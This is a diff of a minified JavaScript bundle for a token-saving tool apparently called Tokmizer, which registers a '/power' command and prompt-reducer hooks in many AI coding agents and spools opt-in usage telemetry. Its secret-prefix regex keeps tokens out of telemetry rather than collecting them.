<request>"),reducer:{kind:"hooks",format:"hso",events:To,targets:()=>[{file:yl(),spec:e=>({mark:Pt,event:e,nested:!0,path:["hooks","events"],matcher:"",entry:t=>({type:"command",command:t,timeoutMs:1e4}),prepare:hl})}],note:"injected by a SessionStart and a UserPromptSubmit hook in config.json"}},{id:"trae",label:"Trae",power:{none:"Trae documents no file location for custom commands or skills"},reducer:{kind:"hooks",format:"plain",events:To,targets:()=>ml().map(e=>It(e,{entry:t=>({type:"command",command:t,timeout:30}),prepare:er})),note:"injected by a SessionStart and a UserPromptSubmit hook in hooks.json"}},{id:"grok",label:"Grok Build",power:pn(()=>Z(ie(),".grok","skills"),"/power <request>"),reducer:{kind:"rules",file:()=>Z(ie(),".grok","AGENTS.md"),note:"written into a managed block of ~/.grok/AGENTS.md (Grok ignores the output of session and prompt hooks)"}},{id:"vibe",label:"Mistral Vibe",power:pn(()=>Z(process.env.VIBE_HOME||Z(ie(),".vibe"),"skills"),"/power <request>"),reducer:{kind:"rules",file:()=>Z(process.env.VIBE_HOME||Z(ie(),".vibe"),"AGENTS.md"),note:"written into a managed block of AGENTS.md (Vibe has no session or prompt hook)"}},{id:"opencode",label:"OpenCode",power:{file:()=>Z(ci(),"opencode","commands","power.md"),format:"markdown",placeholder:"$ARGUMENTS",invoke:"/power <request>"},reducer:{kind:"plugin",note:"added to the system prompt by the Tokmizer plugin (OpenCode's experimental.chat.system.transform plugin hook)"}},{id:"kilo",label:"Kilo Code",power:{file:()=>Z(ci(),"kilo","commands","power.md"),format:"markdown",placeholder:"$ARGUMENTS",invoke:"/power <request>"},reducer:{kind:"plugin",note:"added to the system prompt by the Tokmizer plugin (Kilo's experimental.chat.system.transform plugin hook)"}},{id:"amp",label:"Amp",power:ir("ask Amp to use the power skill (Amp has no custom slash commands)"),reducer:{kind:"rules",file:()=>Z(ci(),"amp","AGENTS.md"),note:"written into a managed block of ~/.config/amp/AGENTS.md (Amp plugins can only append to each user message)"}},{id:"pi",label:"Pi",power:{file:()=>Z(sg(),"prompts","power.md"),format:"markdown",placeholder:"$ARGUMENTS",invoke:"/power <request> (run /reload first)"},reducer:{kind:"rules",file:()=>Z(sg(),"APPEND_SYSTEM.md"),note:"written into a managed block of APPEND_SYSTEM.md, which Pi appends to its system prompt"}},{id:"omp",label:"Oh My Pi",power:{file:()=>Z(ie(),".omp","agent","commands","power.md"),format:"markdown",placeholder:"$ARGUMENTS",invoke:"/power <request>"},reducer:{kind:"rules",file:()=>Z(ie(),".omp","agent","APPEND_SYSTEM.md"),note:"written into a managed block of APPEND_SYSTEM.md, which omp appends to its system prompt"}},{id:"hermes",label:"Hermes",power:pn(()=>Z(process.env.HERMES_HOME||Z(ie(),".hermes"),"skills"),"/power <request>"),reducer:{kind:"plugin",note:"added as a system prompt section by the Tokmizer plugin (register_system_prompt_section)"}},{id:"openclaw",label:"OpenClaw",power:pn(()=>Z(ie(),".openclaw","skills"),"/power <request>"),reducer:{kind:"plugin",note:"added to the system prompt by the Tokmizer plugin's before_prompt_build hook, which OpenClaw only runs once you set plugins.entries.tokmizer.hooks.allowConversationAccess to true"}},{id:"antigravity",label:"Antigravity",power:pn(()=>Z(ie(),".gemini","config","skills"),"/power <request>"),reducer:{kind:"antigravity",note:"injected as a system message by a SessionStart hook in hooks.json"}}];mT=/[\r\n]|!\{|@\{|\$\{|\{\{/;Ao="tokmizer-reducer"});import{existsSync as AT,mkdirSync as R2,writeFileSync as A2}from"node:fs";import{join as $T}from"node:path";function OT(){return $T(b(),CT)}function wg(){return AT(OT())}var CT,_g=y(()=>{"use strict";z();pt();Ue();$t();CT="telemetry-notice-shown"});import{join as Oo}from"node:path";import{appendFileSync as sc,chmodSync as PT,existsSync as ar,mkdirSync as nc,readFileSync as ic,renameSync as rc,rmdirSync as vg,statSync as gi,unlinkSync as lr,utimesSync as IT,writeFileSync as ac}from"node:fs";function lc(e){return Oo(cr(),`${e}.lock`)}function MT(e){let t=lc(e);try{return nc(cr(),{recursive:!0,mode:448}),nc(t),!0}catch{try{Date.now()-gi(t).mtimeMs>NT&&vg(t)}catch{return!1}return!1}}function DT(e){try{IT(lc(e),new Date,new Date)}catch{return}}function FT(e){try{vg(lc(e))}catch{return}}function cr(){return Oo(b(),"spool")}function mi(e){return Oo(cr(),`${e}.jsonl`)}function hi(e){return Oo(cr(),`${e}.pending.jsonl`)}function HT(e){return Oo(cr(),`${e}.dropped`)}function jT(e){try{let t=HT(e);if(ar(t)&&gi(t).size>=LT)return;sc(t,".",{mode:384})}catch{return}}function yi(e,t){if(ee())try{nc(cr(),{recursive:!0,mode:448});let n=mi(e);if(ar(n)&&gi(n).size>=oc){jT(e);return}sc(n,JSON.stringify(t)+`
69
- `,{mode:384}),PT(n,384)}catch{return}}function Sg(e,t){sc(e,ic(t,"utf8"),{mode:384}),ac(t,"",{mode:384});try{lr(t)}catch{return}}function BT(e){if(gi(e).size<=oc)return;let t=ic(e,"utf8").split(`
70
- `).filter(o=>o.trim()),n=0,r=[];for(let o=t.length-1;o>=0;o--){let s=t[o]??"";if(n+=Buffer.byteLength(s,"utf8")+1,n>oc)break;r.unshift(s)}ac(e,r.length?r.join(`
87
+ `}function Pg(e){if(e==="codex")return wl();if(e==="cursor")return Zs();let t=nr.find(r=>r.id===e);if(t)return t.installed();let n=Ml(e);return n?vo(n):!1}function eR(e){return pi.filter(t=>t.id!==e&&!("none"in t.power)&&t.power.shared&&Pg(t.id)).map(t=>t.id)}async function nR(e){return"none"in e.power?"none":tR.test(De("power"))?"unsafe":Sg(e.power.file(),Ig(e.power))}async function rR(e,t){if("none"in e.power)return"absent";let n=e.power;return n.shared&&!t&&eR(e.id).length?"absent":xg(n.file(),n.format==="skill")}function $g(e,t,n,r){let o=`${It(Nt,n,r)} ${e} ${t}`;return o.includes(Nt)?o:`${o} ${Nt}`}async function oR(e){let t=bt(),n=await se(t);if(!n)return"error";let r={enabled:!0,SessionStart:[{type:"command",command:e,timeout:10}]},o=n[Io];return o!==void 0&&JSON.stringify(o)===JSON.stringify(r)?"present":(n[Io]=r,await ie(t,n)?o===void 0?"added":"updated":"error")}async function sR(){let e=bt();if(!Cg(e))return"absent";let t=await se(e);return t?Io in t?(delete t[Io],await ie(e,t)?"removed":"error"):"absent":"error"}async function uc(){if(!ci())return"";try{let e=await hg("session");return e?e.text:null}catch{return null}}function No(e){return ao(e)}function hi(){try{let e=oe(Oo(zr(),"utf8"));if(!F(e))return{agents:{},created:[]};let t=F(e.agents)?Object.fromEntries(Object.entries(e.agents).filter(r=>typeof r[1]=="string")):{},n=Array.isArray(e.created)?e.created.filter(r=>typeof r=="string"):[];return{agents:t,created:n}}catch{return{agents:{},created:[]}}}async function fc(e){if(!Object.keys(e.agents).length&&!e.created.length){try{await Po(zr())}catch{}return!0}return rt(zr(),`${JSON.stringify(e,null,2)}
88
+ `)}function cc(){return pi.filter(e=>e.reducer.kind==="rules")}function Ng(e,t,n){let r=new Set([...Object.keys(t.agents),...n===null?[]:fi(n)]);return cc().filter(o=>r.has(o.id)&&No(o.reducer.file())===e).map(o=>o.id).sort()}async function Mg(e){try{return await Og(e,"utf8")}catch(t){if(t.code==="ENOENT")return null;throw t}}function mi(e,t,n){return yt(e,n,t??void 0)}async function Dg(e,t,n){if(t===null)return"present";let r;try{r=await Mg(e)}catch{return"error"}let o=No(e);if(!t){let i=r===null?null:ic(r);if(i===null)return"present";if(!i.trim()&&n.created.includes(o))try{return await Po(o),"removed"}catch{return"error"}return await mi(e,r,i)?"removed":"error"}let s=sc(r??"",t,Ng(o,n,r));return s===r?"present":await mi(e,r,s)?r!==null&&ac(r)?"updated":"added":"error"}async function iR(e,t){let n=hi(),r=No(t);!Cg(t)&&!n.created.includes(r)&&n.created.push(r),n.agents[e.id]=t;let o=await Dg(t,await uc(),n);return o==="error"||!await fc(n)?"error":o==="removed"?"updated":o}async function aR(e,t){let n=hi(),r=No(t),o=e.id in n.agents,s=n.created.includes(r);delete n.agents[e.id];let i;try{i=await Mg(t)}catch{return"error"}let a=i===null?null:vg(i),l=i===null?[]:fi(i);if(!o&&(a===null||l.length&&!l.includes(e.id)))return"absent";let c=Ng(r,n,i).filter(f=>f!==e.id);if(c.length||(n.created=n.created.filter(f=>f!==r)),!await fc(n))return"error";if(i===null||a===null)return"removed";if(c.length){let f=sc(i,a,c);return f===i||await mi(t,i,f)?"removed":"error"}let u=ic(i)??i;if(!u.trim()&&s)try{return await Po(r),"removed"}catch{return"error"}return await mi(t,i,u)?"removed":"error"}async function Fg(e){if(e===null)return;let t=us();if(!e){try{await Po(t)}catch{}return}try{if(await Og(t,"utf8")===e)return}catch{}await rt(t,e)}function dc(e){if(e.includes("error"))return"error";for(let t of["added","updated","removed"])if(e.includes(t))return t;return e.includes("present")?"present":"absent"}async function Lg(e,t,n){let r=e.reducer;if(r.kind==="none")return"none";if(r.kind==="plugin")return await Fg(await uc()),"plugin";if(r.kind==="rules")return iR(e,r.file());if(r.kind==="antigravity")return oR($g("antigravity","session",t,n));let o=[],s=r.targets();for(let i of s)for(let a of r.events)o.push(await wo(i.file,i.spec(a.event),$g(r.format,a.kind,t,n)));if(r.cleanup){let i=new Set(s.map(a=>a.file));for(let a of r.cleanup().filter(l=>!i.has(l.file)))for(let l of r.events)await mn(a.file,a.spec(l.event))}return dc(o)}async function lR(e){let t=e.reducer;if(t.kind==="none"||t.kind==="plugin")return"absent";if(t.kind==="rules")return aR(e,t.file());if(t.kind==="antigravity")return sR();let n=[];for(let r of t.cleanup?t.cleanup():t.targets())for(let o of t.events)n.push(await mn(r.file,r.spec(o.event)));return dc(n)}function Hg(e){let t=e.reducer;if(t.kind==="rules"){if(e.id in hi().agents)return!0;try{return ac(Oo(t.file(),"utf8"))}catch{return!1}}if(t.kind==="antigravity")try{let n=oe(Oo(bt(),"utf8"));return F(n)&&F(n[Io])}catch{return!1}if(t.kind==="plugin"){let n=Ml(e.id);return n?vo(n):!1}return t.kind!=="hooks"?!1:(t.cleanup?t.cleanup():t.targets()).some(n=>t.events.some(r=>bo(n.file,n.spec(r.event))))}function cR(e){if("none"in e.power||e.power.shared&&!Pg(e.id))return!1;try{return Oo(e.power.file(),"utf8").includes(sr)}catch{return!1}}async function uR(e,t,n){let r=gi(e);if(!r)return{lines:[],error:!1};let o=[],s=!1,i=await nR(r).catch(()=>"error");"none"in r.power?o.push(`/power: not available in ${r.label} (${r.power.none}).`):i==="unsafe"?o.push(`/power: skipped, the Tokmizer folder path ${De("power")} contains characters the agent would interpret.`):i==="skipped"?o.push(`/power: ${r.power.file()} already exists and is not Tokmizer's; left it untouched.`):i==="error"?(s=!0,o.push(`/power: could not write ${r.power.file()}.`)):o.push(`/power: ${i==="present"?"already set":"added"} in ${r.power.file()}. Use it with: ${r.power.invoke}`);let a=await Lg(r,t,n).catch(()=>"error");return a==="error"?(s=!0,o.push(`Reducer: could not update the ${r.label} configuration.`)):a==="none"?o.push(`Reducer: not available in ${r.label} (${r.reducer.note}).`):o.push(`Reducer: follows tkr reducer <off|light|balanced|max>; ${r.reducer.note}.`),{lines:o,error:s}}async function fR(e,t,n){let r=gi(e);!r||r.reducer.kind==="rules"||!Hg(r)||await Lg(r,t,n).catch(()=>null)}async function dR(e,t=!1){let n=gi(e);if(!n)return"absent";let r=[await rR(n,t).catch(()=>"error"),await lR(n).catch(()=>"error")];return dc(r)}async function mR(){let e=await uc();await Fg(e);let t=hi(),n=!1;for(let s of cc())if(!(s.id in t.agents))try{let i=Oo(s.reducer.file(),"utf8");fi(i).includes(s.id)&&(t.agents[s.id]=s.reducer.file(),n=!0)}catch{}n&&await fc(t);let r=[],o=new Set;for(let s of cc()){if(!(s.id in t.agents))continue;let i=s.reducer.file(),a=No(i);if(o.has(a))continue;o.add(a);let l=await Dg(i,e,t).catch(()=>"error");(l==="updated"||l==="added"||l==="removed")&&r.push(i)}return r}async function pR(){for(let e of[us(),zr()])try{await Po(e)}catch{}}var ae,Rg,di,Co,lc,pi,tR,Io,Bg=y(()=>{"use strict";kt();me();_l();Gs();Ws();Ks();Ys();Pl();ll();kg();ui();Tg();U();Vn();Qs();ae=()=>QT.homedir(),Rg=()=>process.env.PI_CODING_AGENT_DIR||Z(ae(),".pi","agent"),di=()=>process.env.XDG_CONFIG_HOME||Z(ae(),".config");Co=[{event:"SessionStart",kind:"session"},{event:"UserPromptSubmit",kind:"prompt"}],lc="Tokmizer power workflow: plan, execute, review, verify and wrap up a coding request with few tokens. Use only when the user explicitly asks for power.",pi=[{id:"codex",label:"Codex",power:ir("$power <request> (or pick it in /skills)"),reducer:{kind:"hooks",format:"hso",events:Co,targets:()=>[Mt(Le(),{entry:e=>({type:"command",command:e,timeout:10})})],note:"injected by a SessionStart and a UserPromptSubmit hook in hooks.json; approve them once in /hooks"}},{id:"gemini",label:"Gemini CLI",power:{file:()=>Z(process.env.GEMINI_CLI_HOME||ae(),".gemini","commands","power.toml"),format:"gemini-toml",placeholder:"{{args}}",invoke:"/power <request>"},reducer:{kind:"hooks",format:"gemini",events:[{event:"SessionStart",kind:"session"},{event:"BeforeAgent",kind:"prompt"}],targets:()=>[Mt(ko(),{entry:e=>({name:"tokmizer-reducer",type:"command",command:e,timeout:1e4})},"*")],note:"injected by a SessionStart and a BeforeAgent hook in settings.json"}},{id:"cursor",label:"Cursor",power:ir("/power <request>"),reducer:{kind:"hooks",format:"cursor",events:[{event:"sessionStart",kind:"session"}],targets:()=>[Mt(yo(),{entry:e=>({command:e,timeout:10}),prepare:tr},null)],note:"injected by a sessionStart hook in hooks.json (Cursor has no per-prompt context hook)"}},{id:"copilot",label:"GitHub Copilot",power:ir("/power <request>"),reducer:{kind:"hooks",format:"copilot",events:[{event:"sessionStart",kind:"session"}],targets:()=>[Mt(vl(),{entry:e=>({type:"command",command:e,bash:e,powershell:e,timeout:10,timeoutSec:10}),prepare:tr},null)],note:"injected by a sessionStart hook (Copilot drops per-prompt hook output)"}},{id:"droid",label:"Factory Droid",power:ir("/power <request>"),reducer:{kind:"hooks",format:"hso",events:Co,targets:()=>{let e=qs();return[Mt(e.file,{nested:e.spec.nested,entry:t=>({type:"command",command:t,timeout:10})})]},cleanup:()=>er().map(e=>Mt(e.file,{nested:e.spec.nested,entry:t=>({type:"command",command:t,timeout:10})})),note:"injected by a SessionStart and a UserPromptSubmit hook"}},{id:"qwen-code",label:"Qwen Code",power:{file:()=>Z(process.env.QWEN_HOME||Z(ae(),".qwen"),"commands","power.md"),format:"markdown",placeholder:"{{args}}",invoke:"/power <request>"},reducer:{kind:"hooks",format:"hso",events:Co,targets:()=>[Mt(Rl(),{entry:e=>({name:"tokmizer-reducer",type:"command",command:e,timeout:10})})],note:"injected by a SessionStart and a UserPromptSubmit hook in settings.json"}},{id:"crush",label:"Crush",power:ir("user:power from the command palette (ctrl+p)"),reducer:{kind:"rules",file:()=>Z(di(),"crush","CRUSH.md"),note:"written into a managed block of CRUSH.md (Crush has no session or prompt hook)"}},{id:"junie",label:"Junie CLI",power:{file:()=>Z(ae(),".junie","commands","power.md"),format:"markdown",placeholder:"$prompt",front:["allowPromptArgument: true"],invoke:"/power <request>"},reducer:{kind:"rules",file:()=>Z(ae(),".junie","AGENTS.md"),note:"written into a managed block of ~/.junie/AGENTS.md (Junie ignores session-start context)"}},{id:"zcode",label:"ZCode",power:yn(()=>Z(ae(),".zcode","skills"),"/power <request>"),reducer:{kind:"hooks",format:"hso",events:Co,targets:()=>[{file:$l(),spec:e=>({mark:Nt,event:e,nested:!0,path:["hooks","events"],matcher:"",entry:t=>({type:"command",command:t,timeoutMs:1e4}),prepare:Al})}],note:"injected by a SessionStart and a UserPromptSubmit hook in config.json"}},{id:"trae",label:"Trae",power:{none:"Trae documents no file location for custom commands or skills"},reducer:{kind:"hooks",format:"plain",events:Co,targets:()=>Tl().map(e=>Mt(e,{entry:t=>({type:"command",command:t,timeout:30}),prepare:tr})),note:"injected by a SessionStart and a UserPromptSubmit hook in hooks.json"}},{id:"grok",label:"Grok Build",power:yn(()=>Z(ae(),".grok","skills"),"/power <request>"),reducer:{kind:"rules",file:()=>Z(ae(),".grok","AGENTS.md"),note:"written into a managed block of ~/.grok/AGENTS.md (Grok ignores the output of session and prompt hooks)"}},{id:"vibe",label:"Mistral Vibe",power:yn(()=>Z(process.env.VIBE_HOME||Z(ae(),".vibe"),"skills"),"/power <request>"),reducer:{kind:"rules",file:()=>Z(process.env.VIBE_HOME||Z(ae(),".vibe"),"AGENTS.md"),note:"written into a managed block of AGENTS.md (Vibe has no session or prompt hook)"}},{id:"opencode",label:"OpenCode",power:{file:()=>Z(di(),"opencode","commands","power.md"),format:"markdown",placeholder:"$ARGUMENTS",invoke:"/power <request>"},reducer:{kind:"plugin",note:"added to the system prompt by the Tokmizer plugin (OpenCode's experimental.chat.system.transform plugin hook)"}},{id:"kilo",label:"Kilo Code",power:{file:()=>Z(di(),"kilo","commands","power.md"),format:"markdown",placeholder:"$ARGUMENTS",invoke:"/power <request>"},reducer:{kind:"plugin",note:"added to the system prompt by the Tokmizer plugin (Kilo's experimental.chat.system.transform plugin hook)"}},{id:"amp",label:"Amp",power:ir("ask Amp to use the power skill (Amp has no custom slash commands)"),reducer:{kind:"rules",file:()=>Z(di(),"amp","AGENTS.md"),note:"written into a managed block of ~/.config/amp/AGENTS.md (Amp plugins can only append to each user message)"}},{id:"pi",label:"Pi",power:{file:()=>Z(Rg(),"prompts","power.md"),format:"markdown",placeholder:"$ARGUMENTS",invoke:"/power <request> (run /reload first)"},reducer:{kind:"rules",file:()=>Z(Rg(),"APPEND_SYSTEM.md"),note:"written into a managed block of APPEND_SYSTEM.md, which Pi appends to its system prompt"}},{id:"omp",label:"Oh My Pi",power:{file:()=>Z(ae(),".omp","agent","commands","power.md"),format:"markdown",placeholder:"$ARGUMENTS",invoke:"/power <request>"},reducer:{kind:"rules",file:()=>Z(ae(),".omp","agent","APPEND_SYSTEM.md"),note:"written into a managed block of APPEND_SYSTEM.md, which omp appends to its system prompt"}},{id:"hermes",label:"Hermes",power:yn(()=>Z(process.env.HERMES_HOME||Z(ae(),".hermes"),"skills"),"/power <request>"),reducer:{kind:"plugin",note:"added as a system prompt section by the Tokmizer plugin (register_system_prompt_section)"}},{id:"openclaw",label:"OpenClaw",power:yn(()=>Z(ae(),".openclaw","skills"),"/power <request>"),reducer:{kind:"plugin",note:"added to the system prompt by the Tokmizer plugin's before_prompt_build hook, which OpenClaw only runs once you set plugins.entries.tokmizer.hooks.allowConversationAccess to true"}},{id:"antigravity",label:"Antigravity",power:yn(()=>Z(ae(),".gemini","config","skills"),"/power <request>"),reducer:{kind:"antigravity",note:"injected as a system message by a SessionStart hook in hooks.json"}}];tR=/[\r\n]|!\{|@\{|\$\{|\{\{/;Io="tokmizer-reducer"});import{existsSync as gR,mkdirSync as GB,writeFileSync as ZB}from"node:fs";import{join as hR}from"node:path";function kR(){return hR(b(),yR)}function zg(){return gR(kR())}var yR,Ug=y(()=>{"use strict";U();pt();Je();Ct();yR="telemetry-notice-shown"});import{join as Mo}from"node:path";import{appendFileSync as kc,chmodSync as bR,existsSync as ar,mkdirSync as gc,readFileSync as bc,renameSync as hc,rmdirSync as Zg,statSync as ki,unlinkSync as lr,utimesSync as wR,writeFileSync as wc}from"node:fs";function _c(e){return Mo(cr(),`${e}.lock`)}function SR(e){let t=_c(e);try{return gc(cr(),{recursive:!0,mode:448}),gc(t),!0}catch{try{Date.now()-ki(t).mtimeMs>_R&&Zg(t)}catch{return!1}return!1}}function xR(e){try{wR(_c(e),new Date,new Date)}catch{return}}function ER(e){try{Zg(_c(e))}catch{return}}function cr(){return Mo(b(),"spool")}function yi(e){return Mo(cr(),`${e}.jsonl`)}function bi(e){return Mo(cr(),`${e}.pending.jsonl`)}function TR(e){return Mo(cr(),`${e}.dropped`)}function RR(e){try{let t=TR(e);if(ar(t)&&ki(t).size>=vR)return;kc(t,".",{mode:384})}catch{return}}function wi(e,t){if(ee())try{gc(cr(),{recursive:!0,mode:448});let n=yi(e);if(ar(n)&&ki(n).size>=yc){RR(e);return}kc(n,JSON.stringify(t)+`
89
+ `,{mode:384}),bR(n,384)}catch{return}}function Jg(e,t){kc(e,bc(t,"utf8"),{mode:384}),wc(t,"",{mode:384});try{lr(t)}catch{return}}function AR(e){if(ki(e).size<=yc)return;let t=bc(e,"utf8").split(`
90
+ `).filter(o=>o.trim()),n=0,r=[];for(let o=t.length-1;o>=0;o--){let s=t[o]??"";if(n+=Buffer.byteLength(s,"utf8")+1,n>yc)break;r.unshift(s)}wc(e,r.length?r.join(`
71
91
  `)+`
72
- `:"",{mode:384})}function zT(e){try{let t=hi(e),n=mi(e),r=`${n}.merging`;if(ar(r)&&Sg(t,r),ar(t))ar(n)&&(rc(n,r),Sg(t,r));else{if(!ar(n))return[];rc(n,t)}BT(t);let o=[];for(let s of ic(t,"utf8").split(`
73
- `))if(s.trim())try{o.push(JSON.parse(s))}catch{continue}return o.length===0?(lr(t),[]):o}catch{return[]}}function Eg(e){try{lr(hi(e))}catch{return}}function UT(e,t){if(t.length===0){Eg(e);return}let n=hi(e),r=`${n}.tmp`;ac(r,t.map(o=>JSON.stringify(o)).join(`
92
+ `:"",{mode:384})}function $R(e){try{let t=bi(e),n=yi(e),r=`${n}.merging`;if(ar(r)&&Jg(t,r),ar(t))ar(n)&&(hc(n,r),Jg(t,r));else{if(!ar(n))return[];hc(n,t)}AR(t);let o=[];for(let s of bc(t,"utf8").split(`
93
+ `))if(s.trim())try{o.push(JSON.parse(s))}catch{continue}return o.length===0?(lr(t),[]):o}catch{return[]}}function CR(e){try{lr(bi(e))}catch{return}}function OR(e,t){if(t.length===0){CR(e);return}let n=bi(e),r=`${n}.tmp`;wc(r,t.map(o=>JSON.stringify(o)).join(`
74
94
  `)+`
75
- `,{mode:384}),rc(r,n)}async function ki(e,t,n={}){if(!ee()||tc.has(e)||!MT(e))return"fail";tc.add(e);try{if(!(await ne()).telemetryOptIn)return xg(e),"empty";if(!wg())return"fail";let r=zT(e);if(r.length===0)return"empty";let o=await V();if(!o)return"fail";if(n.requirePro&&o.plan!=="pro")return Eg(e),"ok";let s=n.baseUrl??an(),i=await dt();for(let a=0;a<r.length;a+=ec){if(!(await ne()).telemetryOptIn)return xg(e),"empty";DT(e);let l=await Je("POST",t,{events:r.slice(a,a+ec),...n.consent?{consent:!0}:{}},{baseUrl:s,bearer:o.jwt,signingSecret:o.signingSecret,fingerprint:i.fingerprint,installId:i.installId});if(!l.ok)return l.status===401||l.status===403?"auth":"fail";UT(e,r.slice(a+ec))}return"ok"}catch{return"fail"}finally{tc.delete(e),FT(e)}}function xg(e){try{lr(mi(e))}catch{}try{lr(`${mi(e)}.merging`)}catch{}try{lr(hi(e))}catch{return}}var oc,ec,NT,tc,LT,bi=y(()=>{"use strict";As();z();ze();Mn();Pn();pt();Ue();_g();oc=512*1024,ec=100,NT=12e4,tc=new Set;LT=1024*1024});var $g={};ge($g,{commandName:()=>wi,flushTelemetry:()=>cc,recordTelemetry:()=>Po});function QT(e){if(!/[\\/]/.test(e))return e;let t=e.split(/[\\/]/).filter(r=>r.length>0).pop()??"",n=t.toLowerCase().endsWith(".exe")?t.slice(0,-4):t;return Ag.has(n.toLowerCase())?n:""}function eR(e,t,n){let r=0;for(;e==="git"&&r<n.length&&n[r].startsWith("-");)r+=XT.has(n[r])?2:1;let o=(n[r]??"").toLowerCase();return t.has(o)?`${e} ${o}`:e}function Tg(e){let t=e.toLowerCase();return t.startsWith("git")||KT.has(t)}function wi(e){let t=e.trim().split(/\s+/).filter(l=>l.length>0),n=0;for(;n<t.length&&ZT.test(t[n]??"");)n+=1;let r=QT(t[n]??"");if(!r||!JT.test(r)||r.length>VT)return"";let o=YT.get(r.toLowerCase());if(o)return eR(r.toLowerCase(),o,t.slice(n+1));if(Tg(r)||WT.test(r)||sn(r)!==r)return"";let s=t[n+1];return s&&Tg(s)?"":(s&&Rg.has(r.toLowerCase())&&GT.test(s)?`${r} ${s}`:r).slice(0,64)}function tR(e){return qT.has((e.split(" ")[0]??"").toLowerCase())}async function Po(e){if(!e.telemetryOptIn)return;let t=wi(e.cmd),n=t&&sn(t)===t&&tR(t)?t:"other",r=e.sessionId?e.sessionId.replace(/[^A-Za-z0-9._-]/g,"").slice(0,64):"";yi("telemetry",{cmd:n,tokensSaved:Math.max(0,Math.round(e.tokensSaved)),...e.tokensRestored?{tokensRestored:Math.max(0,Math.round(e.tokensRestored))}:{},...e.rawTokens!=null?{rawTokens:Math.max(0,Math.round(e.rawTokens))}:{},optimized:e.optimized,...r?{sessionId:r}:{},...e.host?{host:e.host}:{}})}async function cc(e){return ki("telemetry","/api/v1/telemetry",{baseUrl:e,consent:!0})}var JT,GT,ZT,KT,WT,VT,Rg,Ag,qT,YT,XT,ur=y(()=>{"use strict";Wr();bi();JT=/^[a-z0-9][a-z0-9._-]*$/i,GT=/^[a-z][a-z-]+$/,ZT=/^[A-Za-z_][A-Za-z0-9_]*=/,KT=new Set(["gh","glab","gup","hub","gist"]),WT=/^(gh[a-z]_|github_pat_|gl(?:pat|rt|soat|imt|dt|ft|agent|oas)-|npm_|xox|sk-|sk_|eyj|a(?:kia|sia|gpa|ida|roa|npa)|aiza|hv[sb]\.)/i,VT=24,Rg=new Set(["docker","podman","npm","pnpm","yarn","npx","bun","deno","cargo","rustup","go","pip","pip3","uv","poetry","brew","apt","apt-get","dnf","yum","pacman","kubectl","helm","terraform","aws","gcloud","az","systemctl","composer","bundle","gem","dotnet","prisma","tkr","rtk","token"]),Ag=new Set([...Rg,"git","gh","node","python","python3","bash","sh","zsh","psql","mysql","sqlite3","java","ruby","perl","rg","fd","jq","make","gradle","mvn","vitest","jest","tsc","esbuild","vite","webpack","playwright","rails","rake"]),qT=new Set([...Ag,"cd","cat","head","tail","ls","tree","find","grep","wc","nl","sort","cut","uniq","tr","diff","stat","file","du","df","ps","yq","pwd","which","echo","printf","seq","sed","awk","gawk","xargs","sleep","tar","zip","unzip","rsync","scp","ssh","curl","wget","dig","host","nslookup","ping","lsof","journalctl","iptables","ip6tables","open","md5","md5sum","sha1sum","sha224sum","sha256sum","sha384sum","sha512sum","shasum","sudo","env","command","time","nodejs","bunx","pytest","mypy","dmypy","pyright","basedpyright","ruff","black","ty","gradlew","mvnw","mvnd","ninja","cmake","bazel","bazelisk","sbt","gcc","clang","gmake","swift","xcodebuild","pod","flutter","nx","turbo","next","eslint","prettier","biome","oxlint","golangci-lint","shellcheck","hadolint","yamllint","markdownlint","mdl","sqlfluff","rubocop","rspec","bundler","php","artisan","composer","phpunit","phpstan","pest","paratest","pint","mix","javap","jar","docker-compose","skopeo","oc","ecs","nomad","consul","packer","pulumi","tofu","ansible","ansible-playbook","vault","sops","vercel","netlify","wrangler","firebase","supabase","stripe","shopify","theme-check","redis-cli","liquibase","ollama","ast-grep","just","task","mise","trunk","pre-commit","jj","yadm","gt","quarto","act","jira","fail2ban-client","ctest","pio","platformio","reducer","restore","read-tool","grep-tool","glob-tool","bash-tool"]),YT=new Map([["git",new Set(["status","diff","log","show","blame","ls-files","rev-parse","branch","fetch","pull","push","commit","checkout","switch","merge","rebase","stash","tag","remote","add","reset","restore","clean","grep"])],["gh",new Set(["pr","issue","run","repo","api"])]]),XT=new Set(["-C","-c"])});function ot(e){return e.replace(nR,"").replace(rR,"")}var nR,rR,Io=y(()=>{"use strict";nR=/\x1b\[[0-9;?]*[ -/]*[@-~]/g,rR=/\x1b\][^\x07\x1b]*(?:\x07|\x1b\\)/g});function uc(e,t){return t.length===0?e:e.filter(n=>!t.some(r=>r.test(n)))}var Cg=y(()=>{"use strict"});function Og(e){let t=e.trim();if(t.length>4096||!(t.startsWith("{")&&t.endsWith("}")||t.startsWith("[")&&t.endsWith("]")))return!1;try{return JSON.parse(t),!0}catch{return!1}}function Pg(e,t){return e.some(n=>n.length>t)&&Og(e.join(`
76
- `))?e:e.map(n=>{if(n.length<=t||Og(n))return n;let r=n.charCodeAt(t-1),o=n.charCodeAt(t),s=r>=55296&&r<=56319&&o>=56320&&o<=57343?t-1:t;return`${n.slice(0,s)}\u2026`})}var Ig=y(()=>{"use strict"});function fr(e){return`\u2026 (${e} more lines omitted)`}function Ng(e,t){if(e.length<=t)return{kept:e,dropped:[]};let n=Math.ceil(t*.7),r=t-n,o=e.slice(n,e.length-r);return{kept:[...e.slice(0,n),fr(o.length),...e.slice(e.length-r)],dropped:o}}var fc=y(()=>{"use strict"});function Mg(e,t){let n=t>0?t:5,r=[],o=0,s=a=>{o>=n?r.push(`\u2026 ${o} passing checks folded \u2026`):r.push(...a)},i=[];for(let a of e)oR.test(a)&&!je.test(a)?(i.push(a),o+=1):(s(i),i=[],o=0,r.push(a));return s(i),r}var oR,je,No=y(()=>{"use strict";oR=/^\s*(?:[✓✔√]|ok )/,je=/✕|✗|×|\bFAIL\b|\bERROR\b|\bFATAL\b|\bError|\berror|Expected|Received|\bfailed\b|^\s*Tests?:|^\s*Test Suites?:/});function Dg(e){return e.map(t=>t.replace(sR,n=>{let r=n.split("/").filter(Boolean);return r.length<=2?n:`\u2026/${r.slice(-2).join("/")}`}))}var sR,Fg=y(()=>{"use strict";sR=/(?:\/[\w.@+-]+){3,}/g});function uR(e){let t=lR.exec(e);return!t||cR.has(t[1])?!1:!/=>|\bfunction\b/.test(t[2])}function dR(e,t,n){let r=t;for(;r<e.length;){if(e[r]==="\\"){r+=2;continue}if(e[r]===n)return!0;r+=1}return!1}function pR(e,t){let n=0,r=null,o=0;for(;o<e.length;){let 